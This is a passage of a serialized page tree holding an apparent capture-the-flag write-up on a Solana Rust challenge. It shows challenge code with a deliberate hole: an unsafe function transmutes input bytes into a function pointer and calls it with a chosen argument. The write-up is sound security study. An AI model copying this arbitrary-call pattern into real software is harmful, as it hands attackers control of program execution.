val",{"type":22,"tag":101,"props":44767,"children":44768},{"style":166},[44769],{"type":27,"value":960},{"type":22,"tag":101,"props":44771,"children":44772},{"style":120},[44773],{"type":27,"value":44650},{"type":22,"tag":101,"props":44775,"children":44776},{"style":166},[44777],{"type":27,"value":970},{"type":22,"tag":101,"props":44779,"children":44780},{"style":120},[44781],{"type":27,"value":44659},{"type":22,"tag":101,"props":44783,"children":44784},{"style":166},[44785],{"type":27,"value":970},{"type":22,"tag":101,"props":44787,"children":44788},{"style":926},[44789],{"type":27,"value":44668},{"type":22,"tag":101,"props":44791,"children":44792},{"style":166},[44793],{"type":27,"value":970},{"type":22,"tag":101,"props":44795,"children":44796},{"style":120},[44797],{"type":27,"value":44677},{"type":22,"tag":101,"props":44799,"children":44800},{"style":114},[44801],{"type":27,"value":7458},{"type":22,"tag":101,"props":44803,"children":44804},{"style":120},[44805],{"type":27,"value":21224},{"type":22,"tag":101,"props":44807,"children":44808},{"style":1544},[44809],{"type":27,"value":8119},{"type":22,"tag":101,"props":44811,"children":44812},{"style":120},[44813],{"type":27,"value":27047},{"type":22,"tag":101,"props":44815,"children":44816},{"style":114},[44817],{"type":27,"value":12052},{"type":22,"tag":101,"props":44819,"children":44820},{"style":120},[44821],{"type":27,"value":1618},{"type":22,"tag":101,"props":44823,"children":44824},{"style":126},[44825],{"type":27,"value":7738},{"type":22,"tag":101,"props":44827,"children":44828},{"style":120},[44829],{"type":27,"value":2414},{"type":22,"tag":101,"props":44831,"children":44832},{"style":1544},[44833],{"type":27,"value":8119},{"type":22,"tag":101,"props":44835,"children":44836},{"style":166},[44837],{"type":27,"value":7096},{"type":22,"tag":101,"props":44839,"children":44840},{"style":1544},[44841],{"type":27,"value":44842},"16",{"type":22,"tag":101,"props":44844,"children":44845},{"style":120},[44846],{"type":27,"value":19412},{"type":22,"tag":101,"props":44848,"children":44849},{"style":166},[44850],{"type":27,"value":231},{"type":22,"tag":101,"props":44852,"children":44853},{"style":926},[44854],{"type":27,"value":30160},{"type":22,"tag":101,"props":44856,"children":44857},{"style":120},[44858],{"type":27,"value":17881},{"type":22,"tag":101,"props":44860,"children":44861},{"style":166},[44862],{"type":27,"value":231},{"type":22,"tag":101,"props":44864,"children":44865},{"style":926},[44866],{"type":27,"value":7700},{"type":22,"tag":101,"props":44868,"children":44869},{"style":120},[44870],{"type":27,"value":1980},{"type":22,"tag":101,"props":44872,"children":44873},{"class":103,"line":428},[44874,44879,44883,44888,44892,44896],{"type":22,"tag":101,"props":44875,"children":44876},{"style":126},[44877],{"type":27,"value":44878}," ptr",{"type":22,"tag":101,"props":44880,"children":44881},{"style":166},[44882],{"type":27,"value":231},{"type":22,"tag":101,"props":44884,"children":44885},{"style":926},[44886],{"type":27,"value":44887},"write_volatile",{"type":22,"tag":101,"props":44889,"children":44890},{"style":120},[44891],{"type":27,"value":980},{"type":22,"tag":101,"props":44893,"children":44894},{"style":126},[44895],{"type":27,"value":16636},{"type":22,"tag":101,"props":44897,"children":44898},{"style":120},[44899],{"type":27,"value":994},{"type":22,"tag":101,"props":44901,"children":44902},{"class":103,"line":997},[44903],{"type":22,"tag":101,"props":44904,"children":44905},{"style":120},[44906],{"type":27,"value":1734},{"type":22,"tag":101,"props":44908,"children":44909},{"class":103,"line":1032},[44910],{"type":22,"tag":101,"props":44911,"children":44912},{"style":120},[44913],{"type":27,"value":188},{"type":22,"tag":6828,"props":44915,"children":44916},{"start":157},[44917],{"type":22,"tag":6832,"props":44918,"children":44919},{},[44920,44921,44927],{"type":27,"value":11493},{"type":22,"tag":30,"props":44922,"children":44924},{"className":44923},[],[44925],{"type":27,"value":44926},"data[0] == 1",{"type":27,"value":44928},", a CPI to a non-existent program is executed:",{"type":22,"tag":91,"props":44930,"children":44932},{"className":93,"code":44931,"language":95,"meta":7,"style":7},"#[inline(never)]\npub fn call(data: &[u8]) {\n let ix = Instruction {\n program_id: pubkey!(\"osecio5555555555555551111111111111111111111\"),\n data: data.try_into().unwrap(),\n accounts: vec![]\n };\n\n invoke_signed_unchecked(\n &ix,\n &[],\n &[],\n ).unwrap();\n}\n",[44933],{"type":22,"tag":30,"props":44934,"children":44935},{"__ignoreMap":7},[44936,44943,44987,45012,45042,45082,45103,45110,45117,45129,45145,45157,45168,45187],{"type":22,"tag":101,"props":44937,"children":44938},{"class":103,"line":104},[44939],{"type":22,"tag":101,"props":44940,"children":44941},{"style":120},[44942],{"type":27,"value":44574},{"type":22,"tag":101,"props":44944,"children":44945},{"class":103,"line":157},[44946,44950,44954,44959,44963,44967,44971,44975,44979,44983],{"type":22,"tag":101,"props":44947,"children":44948},{"style":108},[44949],{"type":27,"value":17693},{"type":22,"tag":101,"props":44951,"children":44952},{"style":108},[44953],{"type":27,"value":17698},{"type":22,"tag":101,"props":44955,"children":44956},{"style":926},[44957],{"type":27,"value":44958}," call",{"type":22,"tag":101,"props":44960,"children":44961},{"style":120},[44962],{"type":27,"value":980},{"type":22,"tag":101,"props":44964,"children":44965},{"style":126},[44966],{"type":27,"value":7738},{"type":22,"tag":101,"props":44968,"children":44969},{"style":166},[44970],{"type":27,"value":169},{"type":22,"tag":101,"props":44972,"children":44973},{"style":166},[44974],{"type":27,"value":870},{"type":22,"tag":101,"props":44976,"children":44977},{"style":120},[44978],{"type":27,"value":2414},{"type":22,"tag":101,"props":44980,"children":44981},{"style":114},[44982],{"type":27,"value":7458},{"type":22,"tag":101,"props":44984,"children":44985},{"style":120},[44986],{"type":27,"value":44619},{"type":22,"tag":101,"props":44988,"children":44989},{"class":103,"line":182},[44990,44994,44999,45003,45008],{"type":22,"tag":101,"props":44991,"children":44992},{"style":108},[44993],{"type":27,"value":950},{"type":22,"tag":101,"props":44995,"children":44996},{"style":126},[44997],{"type":27,"value":44998}," ix",{"type":22,"tag":101,"props":45000,"children":45001},{"style":166},[45002],{"type":27,"value":960},{"type":22,"tag":101,"props":45004,"children":45005},{"style":114},[45006],{"type":27,"value":45007}," Instruction",{"type":22,"tag":101,"props":45009,"children":45010},{"style":120},[45011],{"type":27,"value":154},{"type":22,"tag":101,"props":45013,"children":45014},{"class":103,"line":367},[45015,45020,45024,45029,45033,45038],{"type":22,"tag":101,"props":45016,"children":45017},{"style":126},[45018],{"type":27,"value":45019}," program_id",{"type":22,"tag":101,"props":45021,"children":45022},{"style":166},[45023],{"type":27,"value":169},{"type":22,"tag":101,"props":45025,"children":45026},{"style":926},[45027],{"type":27,"value":45028}," pubkey!",{"type":22,"tag":101,"props":45030,"children":45031},{"style":120},[45032],{"type":27,"value":980},{"type":22,"tag":101,"props":45034,"children":45035},{"style":6476},[45036],{"type":27,"value":45037},"\"osecio5555555555555551111111111111111111111\"",{"type":22,"tag":101,"props":45039,"children":45040},{"style":120},[45041],{"type":27,"value":1706},{"type":22,"tag":101,"props":45043,"children":45044},{"class":103,"line":398},[45045,45050,45054,45058,45062,45066,45070,45074,45078],{"type":22,"tag":101,"props":45046,"children":45047},{"style":126},[45048],{"type":27,"value":45049}," data",{"type":22,"tag":101,"props":45051,"children":45052},{"style":166},[45053],{"type":27,"value":169},{"type":22,"tag":101,"props":45055,"children":45056},{"style":126},[45057],{"type":27,"value":19106},{"type":22,"tag":101,"props":45059,"children":45060},{"style":166},[45061],{"type":27,"value":231},{"type":22,"tag":101,"props":45063,"children":45064},{"style":926},[45065],{"type":27,"value":30160},{"type":22,"tag":101,"props":45067,"children":45068},{"style":120},[45069],{"type":27,"value":17881},{"type":22,"tag":101,"props":45071,"children":45072},{"style":166},[45073],{"type":27,"value":231},{"type":22,"tag":101,"props":45075,"children":45076},{"style":926},[45077],{"type":27,"value":7700},{"type":22,"tag":101,"props":45079,"children":45080},{"style":120},[45081],{"type":27,"value":7526},{"type":22,"tag":101,"props":45083,"children":45084},{"class":103,"line":428},[45085,45090,45094,45098],{"type":22,"tag":101,"props":45086,"children":45087},{"style":126},[45088],{"type":27,"value":45089}," accounts",{"type":22,"tag":101,"props":45091,"children":45092},{"style":166},[45093],{"type":27,"value":169},{"type":22,"tag":101,"props":45095,"children":45096},{"style":926},[45097],{"type":27,"value":7765},{"type":22,"tag":101,"props":45099,"children":45100},{"style":120},[45101],{"type":27,"value":45102},"[]\n",{"type":22,"tag":101,"props":45104,"children":45105},{"class":103,"line":997},[45106],{"type":22,"tag":101,"props":45107,"children":45108},{"style":120},[45109],{"type":27,"value":3812},{"type":22,"tag":101,"props":45111,"children":45112},{"class":103,"line":1032},[45113],{"type":22,"tag":101,"props":45114,"children":45115},{"emptyLinePlaceholder":15},[45116],{"type":27,"value":1581},{"type":22,"tag":101,"props":45118,"children":45119},{"class":103,"line":1063},[45120,45125],{"type":22,"tag":101,"props":45121,"children":45122},{"style":926},[45123],{"type":27,"value":45124}," invoke_signed_unchecked",{"type":22,"tag":101,"props":45126,"children":45127},{"style":120},[45128],{"type":27,"value":1850},{"type":22,"tag":101,"props":45130,"children":45131},{"class":103,"line":1071},[45132,45136,45141],{"type":22,"tag":101,"props":45133,"children":45134},{"style":166},[45135],{"type":27,"value":7507},{"type":22,"tag":101,"props":45137,"children":45138},{"style":126},[45139],{"type":27,"value":45140},"ix",{"type":22,"tag":101,"props":45142,"children":45143},{"style":120},[45144],{"type":27,"value":179},{"type":22,"tag":101,"props":45146,"children":45147},{"class":103,"line":1110},[45148,45152],{"type":22,"tag":101,"props":45149,"children":45150},{"style":166},[45151],{"type":27,"value":7507},{"type":22,"tag":101,"props":45153,"children":45154},{"style":120},[45155],{"type":27,"value":45156},"[],\n",{"type":22,"tag":101,"props":45158,"children":45159},{"class":103,"line":1118},[45160,45164],{"type":22,"tag":101,"props":45161,"children":45162},{"style":166},[45163],{"type":27,"value":7507},{"type":22,"tag":101,"props":45165,"children":45166},{"style":120},[45167],{"type":27,"value":45156},{"type":22,"tag":101,"props":45169,"children":45170},{"class":103,"line":1158},[45171,45175,45179,45183],{"type":22,"tag":101,"props":45172,"children":45173},{"style":120},[45174],{"type":27,"value":7691},{"type":22,"tag":101,"props":45176,"children":45177},{"style":166},[45178],{"type":27,"value":231},{"type":22,"tag":101,"props":45180,"children":45181},{"style":926},[45182],{"type":27,"value":7700},{"type":22,"tag":101,"props":45184,"children":45185},{"style":120},[45186],{"type":27,"value":934},{"type":22,"tag":101,"props":45188,"children":45189},{"class":103,"line":1166},[45190],{"type":22,"tag":101,"props":45191,"children":45192},{"style":120},[45193],{"type":27,"value":188},{"type":22,"tag":6828,"props":45195,"children":45196},{"start":182},[45197],{"type":22,"tag":6832,"props":45198,"children":45199},{},[45200,45202,45208],{"type":27,"value":45201},"Finally, if ",{"type":22,"tag":30,"props":45203,"children":45205},{"className":45204},[],[45206],{"type":27,"value":45207},"data[0]",{"type":27,"value":45209}," is neither 0 nor 1, a function that lets you jump to an arbitrary address, passing an arbitrary value as the first parameter is executed:",{"type":22,"tag":91,"props":45211,"children":45213},{"className":93,"code":45212,"language":95,"meta":7,"style":7},"#[inline(never)]\npub fn process(mut data: &[u8]) {\n unsafe {\n let ptr = std::mem::transmute::\u003C[u8; 8], fn(u64)>(data[..8].try_into().unwrap());\n let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n ptr(val);\n\n data = &data[16..];\n\n let ptr = std::mem::transmute::\u003C[u8; 8], fn(u64)>(data[..8].try_into().unwrap());\n let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n ptr(val);\n }\n}\n",[45214],{"type":22,"tag":30,"props":45215,"children":45216},{"__ignoreMap":7},[45217,45224,45272,45283,45403,45518,45537,45544,45579,45586,45705,45820,45839,45846],{"type":22,"tag":101,"props":45218,"children":45219},{"class":103,"line":104},[45220],{"type":22,"tag":101,"props":45221,"children":45222},{"style":120},[45223],{"type":27,"value":44574},{"type":22,"tag":101,"props":45225,"children":45226},{"class":103,"line":157},[45227,45231,45235,45240,45244,45248,45252,45256,45260,45264,45268],{"type":22,"tag":101,"props":45228,"children":45229},{"style":108},[45230],{"type":27,"value":17693},{"type":22,"tag":101,"props":45232,"children":45233},{"style":108},[45234],{"type":27,"value":17698},{"type":22,"tag":101,"props":45236,"children":45237},{"style":926},[45238],{"type":27,"value":45239}," process",{"type":22,"tag":101,"props":45241,"children":45242},{"style":120},[45243],{"type":27,"value":980},{"type":22,"tag":101,"props":45245,"children":45246},{"style":108},[45247],{"type":27,"value":7760},{"type":22,"tag":101,"props":45249,"children":45250},{"style":126},[45251],{"type":27,"value":19106},{"type":22,"tag":101,"props":45253,"children":45254},{"style":166},[45255],{"type":27,"value":169},{"type":22,"tag":101,"props":45257,"children":45258},{"style":166},[45259],{"type":27,"value":870},{"type":22,"tag":101,"props":45261,"children":45262},{"style":120},[45263],{"type":27,"value":2414},{"type":22,"tag":101,"props":45265,"children":45266},{"style":114},[45267],{"type":27,"value":7458},{"type":22,"tag":101,"props":45269,"children":45270},{"style":120},[45271],{"type":27,"value":44619},{"type":22,"tag":101,"props":45273,"children":45274},{"class":103,"line":182},[45275,45279],{"type":22,"tag":101,"props":45276,"children":45277},{"style":108},[45278],{"type":27,"value":17835},{"type":22,"tag":101,"props":45280,"children":45281},{"style":120},[45282],{"type":27,"value":154},{"type":22,"tag":101,"props":45284,"children":45285},{"class":103,"line":367},[45286,45290,45294,45298,45302,45306,45310,45314,45318,45322,45326,45330,45334,45338,45342,45346,45350,45354,45359,45363,45367,45371,45375,45379,45383,45387,45391,45395,45399],{"type":22,"tag":101,"props":45287,"children":45288},{"style":108},[45289],{"type":27,"value":3746},{"type":22,"tag":101,"props":45291,"children":45292},{"style":126},[45293],{"type":27,"value":17859},{"type":22,"tag":101,"props":45295,"children":45296},{"style":166},[45297],{"type":27,"value":960},{"type":22,"tag":101,"props":45299,"children":45300},{"style":120},[45301],{"type":27,"value":44650},{"type":22,"tag":101,"props":45303,"children":45304},{"style":166},[45305],{"type":27,"value":970},{"type":22,"tag":101,"props":45307,"children":45308},{"style":120},[45309],{"type":27,"value":44659},{"type":22,"tag":101,"props":45311,"children":45312},{"style":166},[45313],{"type":27,"value":970},{"type":22,"tag":101,"props":45315,"children":45316},{"style":926},[45317],{"type":27,"value":44668},{"type":22,"tag":101,"props":45319,"children":45320},{"style":166},[45321],{"type":27,"value":970},{"type":22,"tag":101,"props":45323,"children":45324},{"style":120},[45325],{"type":27,"value":44677},{"type":22,"tag":101,"props":45327,"children":45328},{"style":114},[45329],{"type":27,"value":7458},{"type":22,"tag":101,"props":45331,"children":45332},{"style":120},[45333],{"type":27,"value":21224},{"type":22,"tag":101,"props":45335,"children":45336},{"style":1544},[45337],{"type":27,"value":8119},{"type":22,"tag":101,"props":45339,"children":45340},{"style":120},[45341],{"type":27,"value":27047},{"type":22,"tag":101,"props":45343,"children":45344},{"style":108},[45345],{"type":27,"value":24258},{"type":22,"tag":101,"props":45347,"children":45348},{"style":120},[45349],{"type":27,"value":980},{"type":22,"tag":101,"props":45351,"children":45352},{"style":114},[45353],{"type":27,"value":12052},{"type":22,"tag":101,"props":45355,"children":45356},{"style":120},[45357],{"type":27,"value":45358},")>(",{"type":22,"tag":101,"props":45360,"children":45361},{"style":126},[45362],{"type":27,"value":7738},{"type":22,"tag":101,"props":45364,"children":45365},{"style":120},[45366],{"type":27,"value":2414},{"type":22,"tag":101,"props":45368,"children":45369},{"style":166},[45370],{"type":27,"value":7096},{"type":22,"tag":101,"props":45372,"children":45373},{"style":1544},[45374],{"type":27,"value":8119},{"type":22,"tag":101,"props":45376,"children":45377},{"style":120},[45378],{"type":27,"value":19412},{"type":22,"tag":101,"props":45380,"children":45381},{"style":166},[45382],{"type":27,"value":231},{"type":22,"tag":101,"props":45384,"children":45385},{"style":926},[45386],{"type":27,"value":30160},{"type":22,"tag":101,"props":45388,"children":45389},{"style":120},[45390],{"type":27,"value":17881},{"type":22,"tag":101,"props":45392,"children":45393},{"style":166},[45394],{"type":27,"value":231},{"type":22,"tag":101,"props":45396,"children":45397},{"style":926},[45398],{"type":27,"value":7700},{"type":22,"tag":101,"props":45400,"children":45401},{"style":120},[45402],{"type":27,"value":1980},{"type":22,"tag":101,"props":45404,"children":45405},{"class":103,"line":398},[45406,45410,45414,45418,45422,45426,45430,45434,45438,45442,45446,45450,45454,45458,45462,45466,45470,45474,45478,45482,45486,45490,45494,45498,45502,45506,45510,45514],{"type":22,"tag":101,"props":45407,"children":45408},{"style":108},[45409],{"type":27,"value":3746},{"type":22,"tag":101,"props":45411,"children":45412},{"style":126},[45413],{"type":27,"value":44765},{"type":22,"tag":101,"props":45415,"children":45416},{"style":166},[45417],{"type":27,"value":960},{"type":22,"tag":101,"props":45419,"children":45420},{"style":120},[45421],{"type":27,"value":44650},{"type":22,"tag":101,"props":45423,"children":45424},{"style":166},[45425],{"type":27,"value":970},{"type":22,"tag":101,"props":45427,"children":45428},{"style":120},[45429],{"type":27,"value":44659},{"type":22,"tag":101,"props":45431,"children":45432},{"style":166},[45433],{"type":27,"value":970},{"type":22,"tag":101,"props":45435,"children":45436},{"style":926},[45437],{"type":27,"value":44668},{"type":22,"tag":101,"props":45439,"children":45440},{"style":166},[45441],{"type":27,"value":970},{"type":22,"tag":101,"props":45443,"children":45444},{"style":120},[45445],{"type":27,"value":44677},{"type":22,"tag":101,"props":45447,"children":45448},{"style":114},[45449],{"type":27,"value":7458},{"type":22,"tag":101,"props":45451,"children":45452},{"style":120},[45453],{"type":27,"value":21224},{"type":22,"tag":101,"props":45455,"children":45456},{"style":1544},[45457],{"type":27,"value":8119},{"type":22,"tag":101,"props":45459,"children":45460},{"style":120},[45461],{"type":27,"value":27047},{"type":22,"tag":101,"props":45463,"children":45464},{"style":114},[45465],{"type":27,"value":12052},{"type":22,"tag":101,"props":45467,"children":45468},{"style":120},[45469],{"type":27,"value":1618},{"type":22,"tag":101,"props":45471,"children":45472},{"style":126},[45473],{"type":27,"value":7738},{"type":22,"tag":101,"props":45475,"children":45476},{"style":120},[45477],{"type":27,"value":2414},{"type":22,"tag":101,"props":45479,"children":45480},{"style":1544},[45481],{"type":27,"value":8119},{"type":22,"tag":101,"props":45483,"children":45484},{"style":166},[45485],{"type":27,"value":7096},{"type":22,"tag":101,"props":45487,"children":45488},{"style":1544},[45489],{"type":27,"value":44842},{"type":22,"tag":101,"props":45491,"children":45492},{"style":120},[45493],{"type":27,"value":19412},{"type":22,"tag":101,"props":45495,"children":45496},{"style":166},[45497],{"type":27,"value":231},{"type":22,"tag":101,"props":45499,"children":45500},{"style":926},[45501],{"type":27,"value":30160},{"type":22,"tag":101,"props":45503,"children":45504},{"style":120},[45505],{"type":27,"value":17881},{"type":22,"tag":101,"props":45507,"children":45508},{"style":166},[45509],{"type":27,"value":231},{"type":22,"tag":101,"props":45511,"children":45512},{"style":926},[45513],{"type":27,"value":7700},{"type":22,"tag":101,"props":45515,"children":45516},{"style":120},[45517],{"type":27,"value":1980},{"type":22,"tag":101,"props":45519,"children":45520},{"class":103,"line":428},[45521,45525,45529,45533],{"type":22,"tag":101,"props":45522,"children":45523},{"style":926},[45524],{"type":27,"value":44878},{"type":22,"tag":101,"props":45526,"children":45527},{"style":120},[45528],{"type":27,"value":980},{"type":22,"tag":101,"props":45530,"children":45531},{"style":126},[45532],{"type":27,"value":16636},{"type":22,"tag":101,"props":45534,"children":45535},{"style":120},[45536],{"type":27,"value":994},{"type":22,"tag":101,"props":45538,"children":45539},{"class":103,"line":997},[45540],{"type":22,"tag":101,"props":45541,"children":45542},{"emptyLinePlaceholder":15},[45543],{"type":27,"value":1581},{"type":22,"tag":101,"props":45545,"children":45546},{"class":103,"line":1032},[45547,45551,45555,45559,45563,45567,45571,45575],{"type":22,"tag":101,"props":45548,"children":45549},{"style":126},[45550],{"type":27,"value":45049},{"type":22,"tag":101,"props":45552,"children":45553},{"style":166},[45554],{"type":27,"value":960},{"type":22,"tag":101,"props":45556,"children":45557},{"style":166},[45558],{"type":27,"value":870},{"type":22,"tag":101,"props":45560,"children":45561},{"style":126},[45562],{"type":27,"value":7738},{"type":22,"tag":101,"props":45564,"children":45565},{"style":120},[45566],{"type":27,"value":2414},{"type":22,"tag":101,"props":45568,"children":45569},{"style":1544},[45570],{"type":27,"value":44842},{"type":22,"tag":101,"props":45572,"children":45573},{"style":166},[45574],{"type":27,"value":7096},{"type":22,"tag":101,"props":45576,"children":45577},{"style":120},[45578],{"type":27,"value":35570},{"type":22,"tag":101,"props":45580,"children":45581},{"class":103,"line":1063},[45582],{"type":22,"tag":101,"props":45583,"children":45584},{"emptyLinePlaceholder":15},[45585],{"type":27,"value":1581},{"type":22,"tag":101,"props":45587,"children":45588},{"class":103,"line":1071},[45589,45593,45597,45601,45605,45609,45613,45617,45621,45625,45629,45633,45637,45641,45645,45649,45653,45657,45661,45665,45669,45673,45677,45681,45685,45689,45693,45697,45701],{"type":22,"tag":101,"props":45590,"children":45591},{"style":108},[45592],{"type":27,"value":3746},{"type":22,"tag":101,"props":45594,"children":45595},{"style":126},[45596],{"type":27,"value":17859},{"type":22,"tag":101,"props":45598,"children":45599},{"style":166},[45600],{"type":27,"value":960},{"type":22,"tag":101,"props":45602,"children":45603},{"style":120},[45604],{"type":27,"value":44650},{"type":22,"tag":101,"props":45606,"children":45607},{"style":166},[45608],{"type":27,"value":970},{"type":22,"tag":101,"props":45610,"children":45611},{"style":120},[45612],{"type":27,"value":44659},{"type":22,"tag":101,"props":45614,"children":45615},{"style":166},[45616],{"type":27,"value":970},{"type":22,"tag":101,"props":45618,"children":45619},{"style":926},[45620],{"type":27,"value":44668},{"type":22,"tag":101,"props":45622,"children":45623},{"style":166},[45624],{"type":27,"value":970},{"type":22,"tag":101,"props":45626,"children":45627},{"style":120},[45628],{"type":27,"value":44677},{"type":22,"tag":101,"props":45630,"children":45631},{"style":114},[45632],{"type":27,"value":7458},{"type":22,"tag":101,"props":45634,"children":45635},{"style":120},[45636],{"type":27,"value":21224},{"type":22,"tag":101,"props":45638,"children":45639},{"style":1544},[45640],{"type":27,"value":8119},{"type":22,"tag":101,"props":45642,"children":45643},{"style":120},[45644],{"type":27,"value":27047},{"type":22,"tag":101,"props":45646,"children":45647},{"style":108},[45648],{"type":27,"value":24258},{"type":22,"tag":101,"props":45650,"children":45651},{"style":120},[45652],{"type":27,"value":980},{"type":22,"tag":101,"props":45654,"children":45655},{"style":114},[45656],{"type":27,"value":12052},{"type":22,"tag":101,"props":45658,"children":45659},{"style":120},[45660],{"type":27,"value":45358},{"type":22,"tag":101,"props":45662,"children":45663},{"style":126},[45664],{"type":27,"value":7738},{"type":22,"tag":101,"props":45666,"children":45667},{"style":120},[45668],{"type":27,"value":2414},{"type":22,"tag":101,"props":45670,"children":45671},{"style":166},[45672],{"type":27,"value":7096},{"type":22,"tag":101,"props":45674,"children":45675},{"style":1544},[45676],{"type":27,"value":8119},{"type":22,"tag":101,"props":45678,"children":45679},{"style":120},[45680],{"type":27,"value":19412},{"type":22,"tag":101,"props":45682,"children":45683},{"style":166},[45684],{"type":27,"value":231},{"type":22,"tag":101,"props":45686,"children":45687},{"style":926},[45688],{"type":27,"value":30160},{"type":22,"tag":101,"props":45690,"children":45691},{"style":120},[45692],{"type":27,"value":17881},{"type":22,"tag":101,"props":45694,"children":45695},{"style":166},[45696],{"type":27,"value":231},{"type":22,"tag":101,"props":45698,"children":45699},{"style":926},[45700],{"type":27,"value":7700},{"type":22,"tag":101,"props":45702,"children":45703},{"style":120},[45704],{"type":27,"value":1980},{"type":22,"tag":101,"props":45706,"children":45707},{"class":103,"line":1110},[45708,45712,45716,45720,45724,45728,45732,45736,45740,45744,45748,45752,45756,45760,45764,45768,45772,45776,45780,45784,45788,45792,45796,45800,45804,45808,45812,45816],{"type":22,"tag":101,"props":45709,"children":45710},{"style":108},[45711],{"type":27,"value":3746},{"type":22,"tag":101,"props":45713,"children":45714},{"style":126},[45715],{"type":27,"value":44765},{"type":22,"tag":101,"props":45717,"children":45718},{"style":166},[45719],{"type":27,"value":960},{"type":22,"tag":101,"props":45721,"children":45722},{"style":120},[45723],{"type":27,"value":44650},{"type":22,"tag":101,"props":45725,"children":45726},{"style":166},[45727],{"type":27,"value":970},{"type":22,"tag":101,"props":45729,"children":45730},{"style":120},[45731],{"type":27,"value":44659},{"type":22,"tag":101,"props":45733,"children":45734},{"style":166},[45735],{"type":27,"value":970},{"type":22,"tag":101,"props":45737,"children":45738},{"style":926},[45739],{"type":27,"value":44668},{"type":22,"tag":101,"props":45741,"children":45742},{"style":166},[45743],{"type":27,"value":970},{"type":22,"tag":101,"props":45745,"children":45746},{"style":120},[45747],{"type":27,"value":44677},{"type":22,"tag":101,"props":45749,"children":45750},{"style":114},[45751],{"type":27,"value":7458},{"type":22,"tag":101,"props":45753,"children":45754},{"style":120},[45755],{"type":27,"value":21224},{"type":22,"tag":101,"props":45757,"children":45758},{"style":1544},[45759],{"type":27,"value":8119},{"type":22,"tag":101,"props":45761,"children":45762},{"style":120},[45763],{"type":27,"value":27047},{"type":22,"tag":101,"props":45765,"children":45766},{"style":114},[45767],{"type":27,"value":12052},{"type":22,"tag":101,"props":45769,"children":45770},{"style":120},[45771],{"type":27,"value":1618},{"type":22,"tag":101,"props":45773,"children":45774},{"style":126},[45775],{"type":27,"value":7738},{"type":22,"tag":101,"props":45777,"children":45778},{"style":120},[45779],{"type":27,"value":2414},{"type":22,"tag":101,"props":45781,"children":45782},{"style":1544},[45783],{"type":27,"value":8119},{"type":22,"tag":101,"props":45785,"children":45786},{"style":166},[45787],{"type":27,"value":7096},{"type":22,"tag":101,"props":45789,"children":45790},{"style":1544},[45791],{"type":27,"value":44842},{"type":22,"tag":101,"props":45793,"children":45794},{"style":120},[45795],{"type":27,"value":19412},{"type":22,"tag":101,"props":45797,"children":45798},{"style":166},[45799],{"type":27,"value":231},{"type":22,"tag":101,"props":45801,"children":45802},{"style":926},[45803],{"type":27,"value":30160},{"type":22,"tag":101,"props":45805,"children":45806},{"style":120},[45807],{"type":27,"value":17881},{"type":22,"tag":101,"props":45809,"children":45810},{"style":166},[45811],{"type":27,"value":231},{"type":22,"tag":101,"props":45813,"children":45814},{"style":926},[45815],{"type":27,"value":7700},{"type":22,"tag":101,"props":45817,"children":45818},{"style":120},[45819],{"type":27,"value":1980},{"type":22,"tag":101,"props":45821,"children":45822},{"class":103,"line":1118},[45823,45827,45831,45835],{"type":22,"tag":101,"props":45824,"children":45825},{"style":926},[45826],{"type":27,"value":44878},{"type":22,"tag":101,"props":45828,"children":45829},{"style":120},[45830],{"type":27,"value":980},{"type":22,"tag":101,"props":45832,"children":45833},{"style":126},[45834],{"type":27,"value":16636},{"type":22,"tag":101,"props":45836,"children":45837},{"style":120},[45838],{"type":27,"value":994},{"type":22,"tag":101,"props":45840,"children":45841},{"class":103,"line":1158},[45842],{"type":22,"tag":101,"props":45843,"children":45844},{"style":120},[45845],{"type":27,"value":1734},{"type":22,"tag":101,"props":45847,"children":45848},{"class":103,"line":1166},[45849],{"type":22,"tag":101,"props":45850,"children":45851},{"style":120},[45852],{"type":27,"value":188},{"type":22,"tag":1760,"props":45854,"children":45856},{"id":45855},"test-environment",[45857],{"type":27,"value":45858},"Test Environment",{"type":22,"tag":23,"props":45860,"children":45861},{},[45862],{"type":27,"value":45863},"To understand our capabilites regarding interaction with the program and determine what is necessary to get the flag, we must analyze the test environment.",{"type":22,"tag":23,"props":45865,"children":45866},{},[45867,45869,45875],{"type":27,"value":45868},"When you connect to the server through a tcp connection, ",{"type":22,"tag":30,"props":45870,"children":45872},{"className":45871},[],[45873],{"type":27,"value":45874},"framework/src/main.rs::handle_connection",{"type":27,"value":45876}," gets executed, which does the following:",{"type":22,"tag":6828,"props":45878,"children":45879},{},[45880],{"type":22,"tag":6832,"props":45881,"children":45882},{},[45883],{"type":27,"value":45884},"Creates a new Solana local node",{"type":22,"tag":91,"props":45886,"children":45888},{"className":93,"code":45887,"language":95,"meta":7,"style":7},"let mut builder = ChallengeBuilder::try_from(socket.try_clone().unwrap()).unwrap();\nassert!(builder.add_program(\"/path/to/chall.so\", Some(chall::ID)) == chall::ID);\nlet mut chall = builder.build().await;\n",[45889],{"type":22,"tag":30,"props":45890,"children":45891},{"__ignoreMap":7},[45892,45973,46048],{"type":22,"tag":101,"props":45893,"children":45894},{"class":103,"line":104},[45895,45899,45903,45908,45912,45917,45921,45926,45930,45935,45939,45944,45948,45952,45956,45961,45965,45969],{"type":22,"tag":101,"props":45896,"children":45897},{"style":108},[45898],{"type":27,"value":15792},{"type":22,"tag":101,"props":45900,"children":45901},{"style":108},[45902],{"type":27,"value":7052},{"type":22,"tag":101,"props":45904,"children":45905},{"style":126},[45906],{"type":27,"value":45907}," builder",{"type":22,"tag":101,"props":45909,"children":45910},{"style":166},[45911],{"type":27,"value":960},{"type":22,"tag":101,"props":45913,"children":45914},{"style":114},[45915],{"type":27,"value":45916}," ChallengeBuilder",{"type":22,"tag":101,"props":45918,"children":45919},{"style":166},[45920],{"type":27,"value":970},{"type":22,"tag":101,"props":45922,"children":45923},{"style":926},[45924],{"type":27,"value":45925},"try_from",{"type":22,"tag":101,"props":45927,"children":45928},{"style":120},[45929],{"type":27,"value":980},{"type":22,"tag":101,"props":45931,"children":45932},{"style":126},[45933],{"type":27,"value":45934},"socket",{"type":22,"tag":101,"props":45936,"children":45937},{"style":166},[45938],{"type":27,"value":231},{"type":22,"tag":101,"props":45940,"children":45941},{"style":926},[45942],{"type":27,"value":45943},"try_clone",{"type":22,"tag":101,"props":45945,"children":45946},{"style":120},[45947],{"type":27,"value":17881},{"type":22,"tag":101,"props":45949,"children":45950},{"style":166},[45951],{"type":27,"value":231},{"type":22,"tag":101,"props":45953,"children":45954},{"style":926},[45955],{"type":27,"value":7700},{"type":22,"tag":101,"props":45957,"children":45958},{"style":120},[45959],{"